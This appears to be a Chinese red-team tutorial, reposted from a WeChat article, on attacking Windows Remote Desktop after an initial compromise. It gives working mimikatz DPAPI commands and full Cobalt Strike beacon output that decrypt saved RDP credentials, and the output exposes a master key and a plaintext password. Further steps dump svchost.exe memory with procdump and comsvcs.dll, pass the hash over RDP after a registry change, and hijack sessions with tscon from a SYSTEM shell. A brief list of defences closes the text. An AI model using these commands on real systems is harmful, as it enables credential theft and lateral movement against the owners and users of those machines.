抓取RDP連接配接日志工具:https://github.com/Heart-Sky/ListRDPConnections
-
對外 RDP 連接配接記錄
對外 RDP 連接配接記錄儲存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,預設隻包含預設使用者設定和已登入使用者的資訊
未登入使用者連接配接記錄需要通過加載對應使用者目錄下的 NTUSER.DAT 到系統資料庫中并讀取來實作
需要有 SeBackupPrivilege 和 SeRestorePrivilege 這兩項權限才可以實作對系統資料庫的讀和寫操作
-
對内 RDP 連接配接記錄
對内 RDP 連接配接記錄儲存在 Wind。
一個完整的 rdp登入->登出 過程包括 網絡連接配接->身份認證->登入->登出,在登出前還可能發生 會話斷開/重新連接配接
-
選取
EventID: 1149 網絡連接配接 事件作為全量的登入事件,
EventID: 21 登入成功 和 EventID: 25 重新連接配接 作為登入成功的事件,通過剔除登入成功的事件即為登入失敗的事件
比如下圖,該機器沒有RDP去登陸過别人,但是被172.16.4.1登陸成功過,如果多台機器都被相同ip登陸成功過,那可能RDP過來的ip就是運維的ip。
CS上可以直接記憶體加載
execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe
擷取RDP憑據
Dump RDP Credentials From Credentials Directory
場景的話,應該是拿到一台A主機權限,如果A主機通過RDP登陸過主機B并且勾選了儲存RDP會話憑據,那麼會在目前主機A使用者的特定目錄下生成一個遠端主機B的RDP憑據。隻要勾選了儲存RDP會話憑據,即使斷開了RDP依然會在特定目錄下留存憑據供我們抓取,而不是需要RDP連接配接一直存在。
預設儲存在:C:\Users\使用者名\AppData\Local\Microsoft\Credentials路徑下
但是我直接翻的話翻不到
但是通過指令是可以找到的,而且是cmd,不是powershell
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
在這裡我們需要記住兩個重點的資訊,在稍後我們是需要使用到的.
0x01 憑據儲存的目錄:
C:\Users\Administrator\AppData\Local\Microsoft\Credentials
0x02 憑據的值:
5EEE4899502166CA91541FD79DA485CB
使用mimikatz來進行操作讀取密碼
dpapi::cred
/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
CS上的話直接
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地憑據資料
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
在這裡我們需要記住guidmasterkey的值,
稍後我們需要找到對應的東西
{96768172-a437-4ca8-a877-14e0aa498a3e}
使用這條指令進行把資料儲存到c盤的根目錄中:
mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt
然後我們在txt檔案中找到對應guid為{96768172-a437-4ca8-a877-14e0aa498a3e}的值.
beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:
Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6
Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session : NewCredentials from 0
User Name : Administrator
Domain : WEBLOGIC
Logon Server : (null)
Logon Time : 2022/4/24 15:14:41
SID : S-1-5-21-2004965046-3923418856-647414055-500
Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session : Interactive from 1
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/22 1:27:06
SID : S-1-5-21-2004965046-3923418856-647414055-500
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-20
Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID :
Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session : Interactive from 6
User Name : Administrator
Domain : WEBLOGIC
Logon Server : WEBLOGIC
Logon Time : 2022/4/26 22:57:38
SID : S-1-5-21-2004965046-3923418856-647414055-500
[00000000]
* GUID :{96768172-a437-4ca8-a877-14e0aa498a3e}
* Time :2022/4/27 0:00:37
* MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
* sha1(key) :b356179c1c3c35b9b8e4c0dcb345db87c692c6a1
Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session : Interactive from 6
User Name : DWM-6
Domain : Window Manager
Logon Server : (null)
Logon Time : 2022/4/26 18:12:38
SID : S-1-5-90-6
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2022/4/22 1:26:43
SID : S-1-5-19
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WEBLOGIC$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2022/4/22 1:26:42
SID : S-1-5-18
[00000000]
* GUID :{628e2357-b149-42af-8714-2a2e22e08f27}
* Time :2022/4/24 16:00:14
* MasterKey :967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
* sha1(key) :00472b23a48a568dff80abe4194c8196ba56bbb3
[00000001]
* GUID :{3f911ddd-ae45-479e-bb98-5b6c10c26c50}
* Time :2022/4/26 22:50:53
* MasterKey :ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
* sha1(key) :48feec9411a1017f5edb03a59922f2ea960bbfe9
[00000002]
* GUID :{acc494d8-92ca-45e0-9e87-27017cf59c68}
* Time :2022/4/26 23:02:50
* MasterKey :d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
* sha1(key) :be9117bfc64e4d0f62c06adfbd3f7f7f82643237
[00000003]
* GUID :{afe30aef-f67e-4cea-9b91-71318f566140}
* Time :2022/4/22 1:26:42
* MasterKey :c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
* sha1(key) :39507d003e38633020e85d318e509f55939d208f
也就是
MasterKey
: 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0f
ec3d356bc9d8a78bbfd158e2b0
使用下面的指令進行讀取密碼的資訊
這裡使用剛才的目錄,加上剛才的值MasterKey就可以進行讀取了密碼
mimikatz dpapi::cred
/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
/masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac37
2fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地憑據資料
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
dwDataLen : 000000c0 - 192
pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
dwSignLen : 00000040 - 64
pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
Decrypting Credential:
* masterkey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000b8 - 184
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2022/4/26 16:00:20
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/10.10.20.7
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : redteam\saul
CredentialBlob : admin!@#45
Attributes : 0
Dump RDP Credentials From svchost.exe
在去年5月份的一篇老外推文中發現可以通過本地的svchost.exe中抓取到RDP明文密碼。
前提是這個RDP是目前正在連接配接的。
拿Windows Server 2012做測試
整體流程就是在程序記憶體中對 svchost.exe 進行簡單的字元串搜尋,就會發現用于通過 RDP 連接配接到系統的明文密碼。
找到正确的程序
有2種方式:
0x01 Process Hacker
Process Hacker
使用 Process Hacker 2. 轉到 Network 頁籤并找到具有 RDP 連接配接的程序。
這僅在 RDP 連接配接仍處于活動狀态時才有效。
0x02 Command Line
通過如下指令可以找到
netstat -nob | Select-String TermService -Context 1
或者是直接找 rdpcorets.dll
tasklist /M:rdpcorets.dll
建立轉儲檔案
0x01 Process Hacker
Process Hacker的話直接右鍵svchost.exe程序就可以建立dump檔案
0x02 任務管理器詳細資訊 ==> 選擇對應pid程序 ==> 建立轉儲檔案
0x03ProcessDump
procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]
0x04comsvc.dll
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll,
MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full
查找明文密碼
可以通過strings指令,但是strings在Windows Server 2012上并不存在。
Mimikatz也支援了這一功能
可以通過下面指令抓取
ts::logonpasswords
但是Windows Server 2012就有問題,會抓到bytes流之後崩潰
Pass The Hash With Remote Desktop Protocol
Restricted Admin mode
這裡是涉及到的一個概念,直譯為受限管理模式,主要功能是使得憑據不會暴露在目标系統中。
Windows 8.1和Windows Server 2012 R2預設支援該功能
Windows 7和Windows Server 2008 R2預設不支援,需要安裝更新檔2871997、2973351
也就是當win7 windows Server 2008 R2 安裝了更新檔後同樣可以Hash登陸RDP
利用時注意 Server開啟Restricted Admin mode時,Client也需要支援Restricted Admin mode
修改系統資料庫開啟Restricted Admin mode的方法:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /
檢視是否開啟
DisableRestrictedAdmin REG_DWORD 0x0 存在就是開啟
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
成功在win7上開啟Restricted Admin mode
Hash登陸RDP實作
這裡需要使用mimikatz去pth
這裡首先拿域使用者去pth,失敗。經朋友提示說可能虛拟機會有問題。
測試了幾個實驗:
虛拟機環境下
win2012 RDP登陸 win7會出現下圖錯誤
win7 RDP登陸 win2012出現下圖錯誤(偷的圖,但是報錯一樣,忘記截圖了)
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"
win10登陸win2012沒問題
小結一下,踩了幾個坑但是應該是虛拟機的問題,實戰情況下問題應該都不大。
這種場景的話主要是
1、有目标機管理者組賬号的使用者名+hash,還有機器名。
2、修改對方系統資料庫開啟Restricted Admin mode(受限管理模式)
3、管理者權限用mimikatz => Pass The Hash With Remote Desktop Protoco
RDP會話劫持
系統管理者和使用者通常可以通過 RDP 遠端桌面登入指定伺服器 3389 遠端桌面,而攻擊者可以通過可以特權提升至 SYSTEM 權限的使用者,可以在不知道其他使用者登入憑據的情況下,用來劫持其他使用者的 RDP 會話,該漏洞在 2017 年由以色列安全研究員 Alexander Korznikov 在個人部落格中披露。利用條件隻需要擷取機器 SYSTEM 權限執行 tscon 指令
以Windows Server 2012測試
在任務管理器中會出現多個會話
可以通過右鍵 ==> 連接配接 ==> 輸入對應賬号的密碼來連接配接到該會話
輸入密碼後成功登陸
在Windows Command Line下有一個tscon指令,可以實作上述功能
首先查詢會話ID
query user
然後執行tscon指令即可切換會話
tscon 8 /PASSWORD:rdp1使用者的密碼
當然這是正常情況下。當我們獲得了SYSTEM的shell時可以繞過認證,直接切換,無需輸入密碼。
首先需要一個SYSTEM權限的cmd,可以通過PsExec.exe實作
PsExec64.exe -s -i cmd
之後輸入
quser //查找rdp ID
tscon 8 /dest:console
成功後直接跳轉到該RDP
ListRDPConnections 是一款用于查找 Windows RDP 伺服器的工具,它可以枚舉出網絡中的 RDP 伺服器,進而給攻擊者提供攻擊目标。以下是一些防範措施:
- 檢查和限制 RDP 通路,隻允許必要的使用者和主機進行通路,并禁用不必要的帳戶和服務。
- 加強主機安全,及時更新作業系統和應用程式更新檔,啟用防病毒軟體和安全配置等。
- 加強網絡安全,包括啟用防火牆、IDS/IPS 等,限制網絡通路權限,并加密敏感資料傳輸。
- 避免将敏感資訊存儲在 RDP 伺服器上,尤其是未加密的敏感資料,避免洩露。
- 監控 RDP 通路行為和系統日志,及時發現和響應異常行為和攻擊。
- 避免使用預設的使用者名和密碼,使用強密碼和雙因素身份驗證等安全措施來加強通路控制。
- 在部署 RDP 伺服器之前,需要進行安全審計和風險評估,確定安全配置和通路控制政策的有效性。
需要注意的是,以上建議隻是一些基本的防範措施,對于特定的應用場景和攻擊方式,可能需要針對性的防範措施。是以,在使用 ListRDPConnections 工具之前,需要進行綜合的安全風險評估和防範措施,以確定網絡和系統的安全。
from https://mp.weixin.qq.com/s/Zes-Ha7fAeR8imWwM7cHMQ